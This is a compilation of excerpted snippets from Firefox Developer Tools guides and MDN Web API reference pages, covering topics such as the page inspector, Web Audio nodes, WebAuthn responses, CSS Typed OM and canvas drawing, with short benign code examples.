Select and highlight elements - Firefox Developer Tools
the highlighted element is the element that's overlaid in the page with a graphic showing the box model, and a tooltip showing its tag and size: with the context menu to open the inspector and select an element immediately, activate the context menu over the element in the page and select "inspect element": with the html pane when the inspector is open, as you move the mouse around the elements listed in the html pane, the corresponding elements are highlighted in the page.
... with the node picker to select an element in the page itself, activate the "node picker" by clicking its icon: (also called the select element icon).
Animation inspector example: CSS transitions - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" class="icon"/> <span class="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } .icon { width: 50px; height: 50px; filter: grayscale(100%); transition: transform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#se...
...lected { filter: grayscale(0%); transform: scale(1.5); } .icon#selected+span { opacity: 1; width: 300px; } javascript content function toggleselection(e) { if (e.button != 0) { return; } if (e.target.classlist.contains("icon")) { var wasselected = (e.target.getattribute("id") == "selected"); clearselection(); if (!wasselected) { e.target.setattribute("id", "selected"); } } } function clearselection() { var selected = document.getelementbyid("selected"); if (selected) { selected.removeattribute("id"); } } document.addeventlistener("click", toggleselection); ...
How to - Firefox Developer Tools
open the performance tools to open the performance tools: press shift + f5 select "performance" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on os x) select "performance" from tools button, in the toolbar, if you have one: record a profile to start a new recording, press the stopwatch icon in the recordings pane.
... save a profile to save a profile, click the link labeled "save" in the recordings pane: load a profile to load a profile, click "import..." and choose the file: clear all loaded profiles to clear all loaded profiles, click "clear".
UI Tour - Firefox Developer Tools
to save the recording as a json file click "save".
... the allocations view only appears if you checked "record allocations" in the performance tool settings, before recording a profile: to learn much more about the allocations view, see the separate allocations page.
Rulers - Firefox Developer Tools
to be able to toggle rulers for a page, you first need to enable the button by going to the settings page for the developer tools and checking "toggle rulers for the page" under available toolbox buttons.
... once enabled, the "toggle rulers for the page" button appears at the top right of the toolbox, in the same place as the settings/options button.
Shader Editor - Firefox Developer Tools
to enable it, open the toolbox settings and check "shader editor" in the "default firefox developer tools" item.
... you'll now see "shader editor" appear in the toolbar.
Toolbox - Firefox Developer Tools
there are a few different ways to open the toolbox: select "toggle tools" from the web developer menu (under "tools" on os x and linux, or "firefox" on windows) click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "toggle tools" activate any tool hosted in the toolbox (for example, the javascript debugger or the page inspector) press ctrl + shift + i on windows and linux, or cmd + opt + i on os x.
...see "selecting elements".
View Source - Firefox Developer Tools
for example view-source:https://www.mozilla.org/#line100 view selection source if you select part of a web page and conext-click, you'll see a context menu item labeled "view selection source", that behaves just like "view page source", except you only see the source for the selection.
... view mathml source if you context-click while the mouse is over some mathml, you'll see a context menu item labeled "view mathml source": click it to see the mathml source.
Web Audio Editor - Firefox Developer Tools
to enable it, open the developer tool settings and check "web audio".
... now there should be an extra tab in the toolbox toolbar labeled "web audio".
Rich output - Firefox Developer Tools
for example, by expanding the array in the above list, i get the following: console.log(todolist) (4) […] ​ 0: object { status: "done", description: "morning pages", datecreated: 1552404478137 } ​ 1: object { status: "in progress", description: "refactor styles", datecreated: 1552404493169 } ​ 2: object { status: "to do", description: "create feedback form", datecreated: 1552404512630 } ​ 3: object { status: "to do", description: "normalize table", datecreated: 1552404533790 } ​ length: 4 ​ <prototype>: array [] d...
...ebugger eval code:1:9 undefined highlighting and inspecting dom nodes if you hover the mouse over any dom element in the console output, it's highlighted on the page: in the screenshot above you'll also see a blue "target" icon next to the node in the console output: click it to switch to the inspector with that node selected.
Split console - Firefox Developer Tools
while you're in another tool in the toolbox, just press esc or select the "show split console" command in the toolbar menu.
... you can close the split console by pressing esc again, or by selecting the "hide split console" menu command.
Web Console UI Tour - Firefox Developer Tools
settings ("gear" menu): new in firefox 71, you can click the gear icon to access the new settings menu, where you can toggle the following features on and off: persist logs: when enabled, the console doesn't clear on page reload, or new page load.
... in firefox 71 onwards, there is a new "split pane" icon on the right hand side of the command line — clicking this will open the new console multi-line mode.
AnalyserNode.smoothingTimeConstant - Web APIs
if 0 is set, there is no averaging done, whereas a value of 1 means "overlap the previous and current buffer quite a lot while computing the value", which essentially smoothes the changes across analysernode.getfloatfrequencydata/analysernode.getbytefrequencydata calls.
... example the following example shows basic usage of an audiocontext to create an analysernode, then requestanimationframe and <canvas> to collect frequency data repeatedly and draw a "winamp bargraph style" output of the current audio input.
Animation.pause() - Web APIs
WebAPIAnimationpause
ranslatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // doesn't actually need to be eaten until a click event, so pause it initially: nommingcake.pause(); additionally, when resetting : // an all-purpose function to pause the animations on alice, the cupcake, and the bottle that reads "drink me." var stopplayingalice = function() { alicechange.pause(); nommingcake.pause(); drinking.pause(); }; // when the user releases the cupcake or the bottle, pause the animations.
... cake.addeventlistener("mouseup", stopplayingalice, false); bottle.addeventlistener("mouseup", stopplayingalice, false); specifications specification status comment web animationsthe definition of 'play()' in that specification.
Animation.playbackRate - Web APIs
bottle.addeventlistener("mousedown", shrinkalice, false); bottle.addeventlistener("touchstart", shrinkalice, false); contrariwise, clicking on the cake causes her to "grow," playing alicechange forwards again: var growalice = function() { alicechange.playbackrate = 1; alicechange.play(); } // on tap or click, alice will grow.
... cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); in another example, the red queen's race game, alice and the red queen are constantly slowing down: setinterval( function() { // make sure the playback rate never falls below .4 if (redqueen_alice.playbackrate > .4) { redqueen_alice.playbackrate *= .9; } }, 3000); but clicking or tapping on them causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.playbackrate *= 1.1; } document.addeventlistener("click", gofaster); document.addeventlistener("touchstart", gofaster); specifications specification status comment web animationsthe definition of 'animation.playbackrate' in that specificat...
Animation.startTime - Web APIs
examples in the running on web animations api example, the we can sync all new animated cats by giving them all the same starttime as the original running cat: var catrunning = document.getelementbyid ("withwaapi").animate(keyframes, timing); /* a function that makes new cats.
... */ function addcat(){ var newcat = document.createelement("div"); newcat.classlist.add("cat"); return newcat; } /* this is the function that adds a cat to the waapi column */ function animatenewcatwithwaapi() { // make a new cat var newcat = addcat(); // animate said cat with the waapi's "animate" function var newanimationplayer = newcat.animate(keyframes, timing); // set the animation's start time to be the same as the original .cat#withwaapi newanimationplayer.starttime = catrunning.starttime; // add the cat to the pile.
AnimationEvent.initAnimationEvent() - Web APIs
summary the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
...for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
Attr.localName - Web APIs
WebAPIAttrlocalName
example the following example shows "id" in an alert dialog.
... html content <button id="example">click me</button> javascript content const element = document.queryselector("#example"); element.addeventlistener("click", function() { const attribute = element.attributes[0]; alert(attribute.localname); }); notes the local name of an attribute is the part of the attribute's qualified name that comes after the colon.
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>.
... if (attribute.localname == "value" && attribute.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul value } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
Attr.prefix - Web APIs
WebAPIAttrprefix
syntax string = attribute.prefix examples the following logs "x" to the console.
... <div x:id="example" onclick="console.log(this.attributes[0].prefix)"/> notes this will only work when a namespace-aware parser is used, i.e.
AudioBufferSourceNode.playbackRate - Web APIs
<input class="playback-rate-control" type="range" min="0.25" max="3" step="0.05" value="1"> <span class="playback-rate-value">1.0</span> function getdata() { source = audioctx.createbuffersource(); request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaud...
...iodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.playbackrate.value = playbackcontrol.value; source.connect(audioctx.destination); source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); playbackcontrol.setattribute('disabled', 'disabled'); } playbackcontrol.oninput = function() { source.playbackrate.value = playbackcontrol.value; playbackvalu...
AudioContext - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiocontext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor audiocontext() creates ...
AudioContextOptions.latencyHint - Web APIs
syntax audiocontextoptions.latencyhint = "interactive"; audiocontextoptions.latencyhint = 0.2; var latencyhint = audiocontextoptions.latencyhint; value the preferred maximum latency for the audiocontext.
...in fact, the default value of latencyhint is "interactive" (meaning the browser should try to use the lowest possible and reliable latency it can).
AudioDestinationNode - Web APIs
it can also be the node that will "record" the audio data when used with an offlineaudiocontext.
... number of inputs 1 number of outputs 0 channel count mode "explicit" channel count 2 channel interpretation "speakers" properties inherits properties from its parent, audionode.
AudioNodeOptions - Web APIs
syntax var audionodeoptions = { "channelcount" : 2, "channelcountmode" : "max", "channelinterpretation" : "discrete" } properties channelcount optional represents an integer used to determine how many channels are used when up-mixing and down-mixing connections to any inputs to the node.
... the possible values are "speakers" or "discrete".
AudioParamDescriptor - Web APIs
automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of this audioparam.
... defaults to "a-rate".
AudioScheduledSourceNode.onended - Web APIs
examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing.
... node.onended = function(event) { document.getelementbyid("startbutton").disabled = false; } specifications specification status comment web audio apithe definition of 'onended' in that specification.
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of this audioparam.
... defaults to "a-rate".
AudioWorkletProcessor.process - Web APIs
if the automation rate of the parameter is "a-rate", the array will contain 128 values — one for each frame in the current audio block.
... if the automation rate is "k-rate", the array will contain a single value, which is to be used for each of 128 frames.
AuthenticatorAssertionResponse.authenticatorData - Web APIs
the bits are as follows, where "bit 0" is the least significant bit and all bits not specifically mentioned below are "reserved for future use": bit 0, user presence (up) - if set, authenticator validated that the user was present through some test of user presence (tup), such as touching a button on the authenticator.
...the credential is "credentialidlength" bytes long.
AuthenticatorAttestationResponse.attestationObject - Web APIs
formats defined by webauthn are: "packed" "tpm" "android-key" "android-safetynet" "fido-u2f" "none" attstmt a an attestation statement that is of the format defined by "fmt".
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status co...
AuthenticatorAttestationResponse.getTransports() - Web APIs
their values may be : "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var transports = newcredentialinfo.response.gettransports(); console.table(transports); // may be something like ["internal", "nfc", "usb"] }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'gettransports()' in that spe...
AuthenticatorResponse - Web APIs
examples getting an authenticatorassertionresponse var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorattestationresponse var publickey = { challenge: /* from the server */, rp: { ...
... name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
BaseAudioContext - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/baseaudiocontext" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.
BasicCardRequest - Web APIs
"amex", "mastercard"); see card network identifiers for a complete list.
...this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
BasicCardResponse.cardholderName - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
BasicCardResponse - Web APIs
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
BatteryManager.onlevelchange - Web APIs
example html <div id="level">(battery level unknown)</div> <div id="statebaterry">(charging state unknown)</div> javascript navigator.getbattery().then(function(battery) { battery.onlevelchange = function(){ document.queryselector('#level').textcontent = battery.level; if(battery.charging) { document.queryselector('#statebaterry').textcontent = "charging time: " + (battery.chargingtime / 60); } else { document.query...
...selector('#statebaterry').textcontent = "discharging time: " + (battery.dischargingtime / 60); } }; }); specifications specification status comment battery status api candidate recommendation initial definition ...
Beacon API - Web APIs
if the browser successfully queues the request for delivery, the method returns "true" and returns "false" otherwise.
...if the browser successfully queues the request for delivery, the method returns "true" and otherwise returns "false".
BiquadFilterNode.getFrequencyResponse() - Web APIs
requencyarray[0] = 1000; myfrequencyarray[1] = 2000; myfrequencyarray[2] = 3000; myfrequencyarray[3] = 4000; myfrequencyarray[4] = 5000; var magresponseoutput = new float32array(5); var phaseresponseoutput = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>biquad filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our biquad filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.t...
...ype = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; ...
BiquadFilterNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor biquadfilternode() creates a new instance of a biquadfilternode object.
...octx.createbiquadfilter(); var convolver = audioctx.createconvolver(); // connect the nodes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'biquadfilternode' in that specification.
Blob() - Web APIs
WebAPIBlobBlob
the default value is the empty string, ("").
... example var afileparts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single domstring var omyblob = new blob(afileparts, {type : 'text/html'}); // the blob specification specification status comment file apithe definition of 'blob()' in that specification.
BlobBuilder - Web APIs
this can be "transparent" (endings unchanged) or "native" (endings changed to match host os filesystem convention).
... the default value is "transparent".
Bluetooth.getAvailability() - Web APIs
examples the following snippet prints out a message in the console specifying wheter or not bluetooth is supported: navigator.bluetooth.getavailability().then(available => { if (available) console.log("this device supports bluetooth!"); else console.log("doh!
... bluetooth is not supported"); }); specifications specification status comment web bluetooththe definition of 'getavailability()' in that specification.
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
if you need to play ogg during downloading (stream it) - consider htmlaudioelement: new audio("music.ogg").play(); in getdata() we create a new request using the request() constructor, then use it to fetch an ogg music track.
... function readfile(file) { return new response(file).arraybuffer(); } <input type="file" onchange="readfile(this.files[0])"> specifications specification status comment fetchthe definition of 'arraybuffer()' in that specification.
BroadcastChannel - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/broadcastchannel" target="_top"><rect x="151" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">broadcastchannel</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor broadcastchannel...
CSS.escape() - Web APIs
WebAPICSSescape
examples basic results css.escape(".foo#bar") // "\.foo\#bar" css.escape("()[]{}") // "\(\)\[\]\{\}" css.escape('--a') // "--a" css.escape(0) // "\30 ", the unicode code point of '0' is 30 css.escape('\0') // "\ufffd", the unicode replacement character in context uses to escape a string for use as part of a selector, the escape() method can be used: var element = document.queryselector('#' + css.escape(id) + ' > img'); the escape() method can also be used for escaping strings, although it es...
...capes characters that don't strictly need to be escaped: var element = document.queryselector('a[href="#' + css.escape(fragment) + '"]'); specification specification status comment css object model (cssom)the definition of 'css.escape()' in that specification.
CSS.registerProperty() - Web APIs
defaults to "*".
...-in-out; } .registered:hover, .registered:focus { --my-color: #b4d455; } .unregistered { --unregistered: #c0ffee; background-image: linear-gradient(to right, #fff, var(--unregistered)); transition: --unregistered 1s ease-in-out; } .unregistered:hover, .unregistered:focus { --unregistered: #b4d455; } button { font-size: 3vw; } we can add these styles to some buttons: <button class="registered">background registered</button> <button class="unregistered">background not registered</button> specifications specification status comment css properties and values api level 1the definition of 'the registerproperty() function' in that specification.
CSSCounterStyleRule - Web APIs
inheritance this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssrule" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssrule</text></a><polyline points="76,25 86,...
...20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/csscounterstylerule" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">csscounterstylerule</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent cssrule.
CSSKeywordValue.CSSKeywordValue() - Web APIs
examples the following example resets the css display property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector.
... #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSKeywordValue - Web APIs
examples the following example resets the css display property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector.
... #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSNumericValue.parse() - Web APIs
exceptions syntaxerror tbd examples the following returns a cssunitvalue object with a unit property equal to "px" and a value property equal to 42.
... let numvalue = cssnumericvalue.parse("42.0px"); specifications specification status comment css typed om level 1the definition of 'parse' in that specification.
CSSPrimitiveValue - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" s...
...troke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/cssprimitivevalue" target="_top"><rect x="121" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssprimitivevalue</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its ...
CSSRule - Web APIs
WebAPICSSRule
"h1,h2 { font-size: 16pt }" or "@import 'url'".
...the value of "font-size" in the example) use the properties on the specialized interface for the rule's type.
CSSStyleDeclaration - Web APIs
a cssstyledeclaration object can be exposed using three different apis: via htmlelement.style, which deals with the inline styles of a single element (e.g., <div style="...">).
... methods cssstyledeclaration.getpropertypriority() returns the optional priority, "important".
CSSUnitValue.CSSUnitValue() - Web APIs
for example, "42px" would be represented by a cssnumericvalue.
... let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
CSSUnitValue - Web APIs
for example, "42px" would be represented by a cssnumericvalue.
... let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
CSSValue.cssValueType - Web APIs
css_inherit the value is inherited and the csstext contains "inherit".
... example var styledeclaration = document.stylesheets[0].cssrules[0].style; var cssvalue = styledeclaration.getpropertycssvalue("color"); console.log(cssvalue.cssvaluetype); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssvalue.cssvaluetype' in that specification.
CSSValueList - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" s...
...troke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/cssvaluelist" target="_top"><rect x="121" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvaluelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, cs...
Managing screen orientation - Web APIs
let's have an example with the following html code <ul id="toolbar"> <li>a</li> <li>b</li> <li>c</li> </ul> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
... screen.addeventlistener("orientationchange", function () { console.log("the orientation of the screen is: " + screen.orientation); }); preventing orientation change any web application can lock the screen to suits its own needs.
CanvasPattern.setTransform() - Web APIs
html <canvas id="canvas"></canvas> <svg id="svg1"></svg> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); p...
...5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support dommatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix = new dommatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:120px"> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpa...
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
html <canvas id="canvas"></canvas> javascript // define canvas and context const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // define the points as {x, y} let start = { x: 50, y: 20 }; let cp1 = { x: 230, y: 30 }; let cp2 = { x: 150, y: 80 }; let end = { x: 250, y: 100 }; // cubic bézier curve ctx.beginpath(); ctx.moveto(start.x, start.y); ctx.beziercur...
... html <canvas id="canvas"></canvas> javascript the curve begins at the point specified by moveto(): (30, 30).
CanvasRenderingContext2D.closePath() - Web APIs
html <canvas id="canvas"></canvas> javascript the triangle's corners are at (20, 150), (120, 20), and (220, 150).
... html <canvas id="canvas"></canvas> javascript the first two arcs create the face's eyes.
CanvasRenderingContext2D.createImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript the generated object is 100 pixels wide and 50 pixels tall, making 5,000 pixels in all.
... html <canvas id="canvas"></canvas> javascript since each pixel consists of four values, the for loop iterates by multiples of four.
CanvasRenderingContext2D.createPattern() - Web APIs
possible values are: "repeat" (both directions) "repeat-x" (horizontal only) "repeat-y" (vertical only) "no-repeat" (neither direction) if repetition is specified as an empty string ("") or null (but not undefined), a value of "repeat" will be used.
